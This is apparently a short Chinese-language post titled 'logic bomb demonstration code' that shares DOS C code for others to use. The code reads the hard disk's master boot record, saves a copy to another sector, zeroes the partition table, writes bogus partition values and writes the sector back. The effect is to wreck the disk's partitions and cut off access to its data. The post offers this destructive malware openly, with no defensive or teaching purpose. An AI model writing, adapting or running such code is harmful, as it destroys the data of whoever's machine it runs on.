逻辑炸弹示范代码

今天呢，又弄了一个逻辑炸弹的代码，分享给大家.

# include <bios.h>

# include <dos.h>

# define N 0x200

main()

{

int i;

unsigned char s[N];

biosdisk(2,0x80,0,0,1,1,s);

biosdisk(3,0x80,0,0,3,1,s);

for(i=0x1be;i<0x1fe;i++)

s[i]=0;

s[0x1c0]=1;

s[0x1c2]=5;

s[0x1c3]=1;

s[0x1c4]=1;

biosdisk(3,0x80,0,0,1,1,s);